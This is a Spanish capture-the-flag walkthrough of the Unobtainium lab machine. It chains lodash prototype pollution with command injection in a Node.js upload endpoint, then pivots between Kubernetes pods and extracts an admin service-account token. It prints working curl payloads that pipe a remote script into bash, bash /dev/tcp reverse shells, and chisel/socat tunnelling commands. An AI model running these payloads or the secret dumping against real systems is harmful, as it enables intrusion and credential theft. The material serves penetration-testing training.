Unobtainium
Comenzamos explotando una vulnerabilidad de prototype pollution. Luego, aprovechamos un CVE de inyección de comandos para ganar una shell en un contenedor. Para la escalada de privilegios, pivotamos entre contenedores de Kubernetes y analizamos los secretos de un namespace. Finalmente, utilizando el permiso para crear pods, logramos salir del contenedor.
June 18, 202418 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.10.235
PING 10.10.10.235 (10.10.10.235) 56(84) bytes of data.
64 bytes from 10.10.10.235: icmp_seq=1 ttl=63 time=175 ms
--- 10.10.10.235 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 175.026/175.026/175.026/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.235 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.235
5 │ [*] Open ports: 22,80,8443,31337,10250,10251
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> nmap -p22,80,8443,31337,10250,10251 -sCV 10.10.10.235 -oN versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: aafb70ca-6fef-48e4-9836-d57c119bed8d
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 12 Jun 2024 22:07:50 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: ea15ea5d-000a-4a41-a427-8815265b480b
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 12 Jun 2024 22:07:50 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 746cb85a-03d1-4509-8e50-d3911982b1fa
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 12 Jun 2024 22:07:50 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2024-10-26T13:35:54
|_http-title: Site doesn't have a title (application/json).
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after: 2025-06-12T21:59:31
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10251/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 12 Jun 2024 22:08:10 GMT
| Content-Length: 19
| page not found
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 404 Not Found
| Cache-Control: no-cache, private
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 12 Jun 2024 22:07:44 GMT
| Content-Length: 19
|_ page not found
31337/tcp open http Node.js Express framework
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
App
Comenzamos accediendo al sitio web que se encuentra en el puerto 80.
Parece que la máquina aloja una aplicación de chat. Desde la página web, podemos descargar la aplicación.
Al descargar, obtenemos un archivo comprimido llamado unobtainium_debian.zip.
> ls | grep unobtainium
unobtainium_debian.zip
Después de descomprimirlo, encontramos un archivo .deb, que instalamos con sudo apt install ./unobtainium_1.0.0_amd64.deb
.
Una vez ya lo tenemos instalado, lo ejecutamos con el comando unobtainium
.
Al ejecutarse, se abre una ventana, que nos dice que no encuentra el dominio unobtainium.htb, para que lo encuentre lo añadimos en el /etc/hosts apuntando a la ip de la máquina víctima. Con este mensaje deducimos que la aplicación no funciona solo en local, sino que se conecta a un servidor…
La aplicación tiene 3 funciones:
Message Log:
Post Message:
Todo:
Como vimos antes, esta aplicación se conecta al servidor unobtainium.htb, asi que con wireshark vamos a interceptar que comunicaciones se están produciendo entre la aplicación y el servidor cuando hacemos alguna de las 3 funciones mencionadas anteriormente.
Post Message:
Se está mandando una petición con el método PUT a unobtainium.htb:31337. Como data estamos mandando en json lo siguiente:
{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"message": {
"text": "Testing3"
}
}
Al principio se lleva a cabo una autentificación un usuario y contraseña y después se manda el mensaje.
Message Log:
Simplemente, se hace una petición GET a unobtainium.htb:31337, y en la respuesta vemos el log de los mensajes enviados al servidor
{
"icon": "__",
"text": "Testing3",
"id": 1,
"timestamp": 1718709973974,
"userName": "felamos"
}
Todo:
En la sección de todo, se hace una petición con el método POST a unobtainium.htb:31337/todo, y como data ponemos lo que parece ser el nombre de un archivo
{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"filename": "todo.txt"
}
En la respuesta, vemos lo que parece ser el contenido de dicho archivo
{
"ok": true,
"content": [
"1. Create administrator zone.",
"2. Update Node.js API Server.",
"3. Add Login functionality.",
"4. Complete Get Messages feature.",
"5. Complete ToDo feature.",
"6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1",
"7. Improve security"
]
}
Con esto lo primero que se nos puede pasar por la cabeza es un lfi
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"/etc/passwd"}'
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"../../../../../../../etc/passwd"}'
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"....//....//....//....//....//....//....//etc/passwd"}'
Pero no conseguimos ver el /etc/passwd
Si recordamos, nmap dijo que estábamos ante un NodeJS en el puerto 31337, así que en la raíz del proyecto tiene que haber un index.js, vamos a intentar verlo
curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}'
{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n {name: 'felamos', password: 'Winter2021'},\n {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n return users.find((u) =>\n u.name === auth.name &&\n u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n res.send(messages);\n});\n\napp.put('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n const message = {\n icon: '__',\n };\n\n _.merge(message, req.body.message, {\n id: lastId++,\n timestamp: Date.now(),\n userName: user.name,\n });\n\n messages.push(message);\n res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user || !user.canDelete) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n messages = messages.filter((m) => m.id !== req.body.messageId);\n res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.canUpload) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n\n filename = req.body.filename;\n root.upload(\"./\",filename, true);\n res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n filename = req.body.filename;\n testFolder = \"/usr/src/app\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}
app.use(bodyParser.json());
app.get('/', (req, res) => {
res.send(messages);
});
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {
icon: '__',
};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');
Ahora ya tenemos mucha más información sobre la aplicación.
Al principio del código se declaran 2 usuarios:
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
Felamos ya lo conocíamos, pero aparece un usuario nuevo, admin, la password no la podemos ver, ya que es random y se genera durante la ejecución. Aparte del nombre y la contraseña, vemos que hay 2 ‘roles’: canDelete y canUpload, el admin, tiene los 2 en True, pero Felamos, no tiene ninguno de los 2.
Encontramos una función nueva, upload, esta función solo la pueden hacer los usuarios con rol can Upload.
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./", filename, true);
res.send({ok: true, Uploaded_File: filename});
});
El archivo se sube con root.upload, pero de donde sale eso?
En la parte superior del código se importa google-cloudstorage-commands
var root = require("google-cloudstorage-commands");
Con una búsqueda en internet, descubrimos que es vulnerable a un OS command injection: https://security.snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431
Este es el PoC:
var root = require("google-cloudstorage-commands");
root.upload("./","& touch JHU", true);
Parece que es un OS Command Inejction muy simple.
Esto está muy bien, pero no podemos subir archivos, ya que el usuario Felamos no tiene el rol para hacerlo. Vamos a seguir enumerando…
En la función de subida de mensajes, vemos como se hace un merge sin sanitización de prototype pollution
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {
icon: '__',
};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
Podemos intentar hacer un prototype pollution y poner canUpload en true, el prototype pollution lo podemos colar en req.body.message.
curl -X PUT \
-H "Content-Type: application/json" \
-d '{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"message": {
"test": "something",
"__proto__": {
"canUpload": true
}
}
}' \
http://unobtainium.htb:31337
Ahora TODOS los usuarios tendrán el canUpload en true.
┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'
{"ok":false,"error":"Access denied"}
┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337
{"ok":true}
┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'
{"ok":true,"Uploaded_File":"malicious-script.js"}
Ya podemos subir archivos!
Si recordamos el CVE que detectamos anteriormente, podemos usarlo para ejecutar comandos. Para comprobar que tenemos ejecución remota de comandos, nos ponemos en escucha de paquetes icmp con tcpdump por la interfaz tun 0
$ sudo tcpdump -i tun0 icmp
Y mandamos el payload
$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& ping -c 1 10.10.14.47"}'
{"ok":true,"Uploaded_File":"& ping -c 1 10.10.14.47"}
Funicona!!!
Nos llega el paquete icmp
16:18:51.721013 IP unobtainium.htb > 10.10.14.47: ICMP echo request, id 51165, seq 1, length 64
16:18:51.721055 IP 10.10.14.47 > unobtainium.htb: ICMP echo reply, id 51165, seq 1, length 64
Para conseguir la reverse shell creamos un archivo llamado shell y dentro le ponemos el código de la reverse shell, y posteriormente creamos un servidor con python para poder acceder a este archivo desde la máquina víctima
$ cat shell
bash -c "bash -i >& /dev/tcp/10.10.14.47/443 0>&1"
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Nos ponemos en escucha por el puerto 443 para recibir la reverse shell
nc -nlvp 443
Y por último mandamos el payload
curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.10.14.47/shell | bash"}'
Ya tenemos la reverse shell
$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 9372
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-zjnnh:/usr/src/app#
Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
Ahora si hacemos un echo $TERM
vemos que vale dumb, pero para poder hacer ctrl + l
necesitamos que valga xterm
export TERM=xterm
Por último si miramos la shell que tenemos echo $SHELL
vemos que tenemos /usr/sbin/nologin
asi que vamos a asignar una bash
export SHELL=bash
Escalada de privilegios
Estamos dentro de un contenedor como root, así que tenemos que conseguir salir. Para enumerar el contenedor usamos linpeas.sh, que es una herramienta para automatizar el reconocimiento para escaladas de privilegios y contendores.
Para enumerar kubernetes vamos a subir el binario kubectl a la máquina
Comprobamos si podemos listar namespaces
root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped
yes
Efectivamente, podemos, así que los listamos
root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get namespaces
NAME STATUS AGE
default Active 659d
kube-system Active 659d
kube-public Active 659d
kube-node-lease Active 659d
dev Active 659d
Hay una namespace que llama la atención por su nombre dev
, lo que podemos hacer ahora es listar los pods del namespace dev
root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get pods -n dev
NAME READY STATUS RESTARTS AGE
devnode-deployment-776dbcf7d6-g4659 1/1 Running 6 (235d ago) 659d
devnode-deployment-776dbcf7d6-7gjgf 1/1 Running 6 (235d ago) 659d
devnode-deployment-776dbcf7d6-sr6vj 1/1 Running 6 (235d ago) 659d
Una vez tenemos los pods, hacemos un describe, para ver más info del primer pod
./kubectl describe pods/devnode-deployment-776dbcf7d6-g4659 -n dev
Name: devnode-deployment-776dbcf7d6-g4659
Namespace: dev
Priority: 0
Service Account: default
Node: unobtainium/10.10.10.235
Start Time: Mon, 29 Aug 2022 09:32:21 +0000
Labels: app=devnode
pod-template-hash=776dbcf7d6
Annotations: <none>
Status: Running
IP: 10.42.0.62
IPs:
IP: 10.42.0.62
Controlled By: ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
devnode:
Container ID: docker://733280337cc5998774d1a54dd9c8d0bc59f09053952f497050267389b18c08a9
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
Port: 3000/TCP
Host Port: 0/TCP
State: Running
Started: Tue, 18 Jun 2024 11:08:53 +0000
Last State: Terminated
Reason: Error
Exit Code: 137
Started: Fri, 27 Oct 2023 15:17:48 +0000
Finished: Fri, 27 Oct 2023 15:24:53 +0000
Ready: True
Restart Count: 6
Environment: <none>
Mounts:
/root/ from user-flag (rw)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
user-flag:
Type: HostPath (bare host directory volume)
Path: /opt/user/
HostPathType:
kube-api-access-ww6h2:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>
Este pod tiene la ip 10.42.0.62 y el puerto 3000 abierto y nosotros estamos en la 10.42.0.70.
Si hacemos un curl al puerto 3000 del pod, parece que esté funcionando el mismo servicio que hemos vulnerado en el contenedor 10.42.0.70
root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.62:3000
[]
root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.70:3000
[{"icon":"__","test":"something","id":1,"timestamp":1718714423614,"userName":"felamos"}]root@webapp-deployment-9546bc7cb-zjnnh:~#
Lo que podemos intentar es vulnerar el contenedor que está dentro del namespace dev y ver si tenemos algún tipo de privilegio especial dentro del contenedor
Para ello vamos a hacer un poco de pivoting…
Primero nos pasamos a la máquina víctima chisel y socat
Desde nuestra máquina abrimos un servidor con chisel por el puerto 1234
./chisel server --reverse -p 1234
Desde la máquina víctima nos conectamos a ese servidor
./chisel client 10.10.14.47:1234 R:socks &
Después en el archivo de configuración de proxychains abajo del todo añadimos
socks5 127.0.0.1 1080
Ahora ya deberíamos poder hacer un curl al puerto 3000 del pod del namespace dev desde nuestra máquina
sudo proxychains curl 10.42.0.62:3000 2>/dev/null
[]
Explotamos el prototype pollution
sudo proxychains curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://10.42.0.62:3000 2>/dev/null
Para mandar la reverse shell, nos la podríamos mandar directamente, pero no me apetece, así que vamos a usar socat, para mandar la reverse shell al primer contendor y que el primer contenedor la redirija a nosotros con socat.
$ cat shell2
bash -c "bash -i >& /dev/tcp/10.42.0.70/4433 0>&1"
$ sudo python3 -m http.server 80
Ejecutamos el socat en el primer contenedor, para que redirija la reverse shell a nuestra máquina.
./socat TCP-LISTEN:4433,fork TCP:10.10.14.47:4433
Ejecutamos un segundo socat para que cuando hagamos un curl para ver el código de la reverse shell a la ip 10.42.0.70 se redirija a nuestra ip
./socat TCP-LISTEN:80,fork TCP:10.10.14.47:80
Nos ponemos en escucha por el puerto 4433
nc -nlvp 443
Por último ejecutamos el payload y recibimos la shell.
sudo proxychains curl -X POST http://10.42.0.64:3000/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.42.0.70/shell2 | bash"}'
nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 24106
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app#
Dentro de este contenedor nos pasamos el kubectl para enumerar el kubernetes. Para pasarlo voy a aprovechar el socat que usamos antes, voy a hacer una petición a la 10.42.0.70/kubectl la cual el contenedor 10.42.0.70 la redirigirá a mi máquina.
wget 10.42.0.70/kubectl
Con kubectl podemos probar si en este contenedor tenemos permisos para enumerar secretos
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n default
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-system
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-public
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-node-lease
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n dev
no
No tenemos ningún permiso distinto del otro pod. Dentro del namespace dev había más contenedores, así que vamos a probar de repetir el mismo proceso pero ahora para saltar al 10.42.0.62
nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 48507
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# script /dev/null -c bash
<bcf7d6-g4659:/usr/src/app# script /dev/null -c bash
Script started, file is /dev/null
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app#
Nos pasamos el kubectl
wget 10.42.0.70/kubectl
Volvemos a probar si tenemos permisos para enumerar secretos:
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n default
no
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n kube-system
yes
Podemos enumerar los secretos del namespace kube-system
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl get secrets -n kube-system
NAME TYPE DATA AGE
unobtainium.node-password.k3s Opaque 1 659d
horizontal-pod-autoscaler-token-2fg27 kubernetes.io/service-account-token 3 659d
coredns-token-jx62b kubernetes.io/service-account-token 3 659d
local-path-provisioner-service-account-token-2tk2q kubernetes.io/service-account-token 3 659d
statefulset-controller-token-b25sg kubernetes.io/service-account-token 3 659d
certificate-controller-token-98jdq kubernetes.io/service-account-token 3 659d
root-ca-cert-publisher-token-t564t kubernetes.io/service-account-token 3 659d
ephemeral-volume-controller-token-brb5h kubernetes.io/service-account-token 3 659d
ttl-after-finished-controller-token-wf8k9 kubernetes.io/service-account-token 3 659d
replication-controller-token-9m8mh kubernetes.io/service-account-token 3 659d
service-account-controller-token-6vsl2 kubernetes.io/service-account-token 3 659d
node-controller-token-dfztj kubernetes.io/service-account-token 3 659d
metrics-server-token-d4k84 kubernetes.io/service-account-token 3 659d
pvc-protection-controller-token-btkqg kubernetes.io/service-account-token 3 659d
pv-protection-controller-token-k8gq8 kubernetes.io/service-account-token 3 659d
endpoint-controller-token-zd5b9 kubernetes.io/service-account-token 3 659d
disruption-controller-token-cnqj8 kubernetes.io/service-account-token 3 659d
cronjob-controller-token-csxvj kubernetes.io/service-account-token 3 659d
endpointslice-controller-token-wrnvm kubernetes.io/service-account-token 3 659d
pod-garbage-collector-token-56dzk kubernetes.io/service-account-token 3 659d
namespace-controller-token-g8jmq kubernetes.io/service-account-token 3 659d
daemon-set-controller-token-b68xx kubernetes.io/service-account-token 3 659d
replicaset-controller-token-7fkxv kubernetes.io/service-account-token 3 659d
job-controller-token-xctqc kubernetes.io/service-account-token 3 659d
ttl-controller-token-rsshv kubernetes.io/service-account-token 3 659d
deployment-controller-token-npk6k kubernetes.io/service-account-token 3 659d
attachdetach-controller-token-xvj9h kubernetes.io/service-account-token 3 659d
endpointslicemirroring-controller-token-b5r69 kubernetes.io/service-account-token 3 659d
resourcequota-controller-token-8pp4p kubernetes.io/service-account-token 3 659d
generic-garbage-collector-token-5nkzj kubernetes.io/service-account-token 3 659d
persistent-volume-binder-token-865v2 kubernetes.io/service-account-token 3 659d
expand-controller-token-f2csp kubernetes.io/service-account-token 3 659d
clusterrole-aggregation-controller-token-wp8k6 kubernetes.io/service-account-token 3 659d
default-token-h5tf2 kubernetes.io/service-account-token 3 659d
c-admin-token-b47f7 kubernetes.io/service-account-token 3 659d
k3s-serving kubernetes.io/tls 2 235d
Entre todos los secretos, llama la atención el c-admin-token-b47f7
. Para ver su contenido usamos el siguiente comando
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl describe secrets/c-admin-token-b47f7 -n kube-system
Name: c-admin-token-b47f7stem659:/usr/src/app# ./kubectl2 describe secret
Namespace: kube-system
Labels: <none>
Annotations: kubernetes.io/service-account.name: c-admin
kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
Type: kubernetes.io/service-account-token
Data
====
namespace: 11 bytes
token: eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA
ca.crt: 570 bytes
Ya tenemos el token, este token lo guardaremos dentro del archivo token. Ahora probamos si tenemos permisos elevados con este token. Empezamos comprobando si podemos crear pods con este token
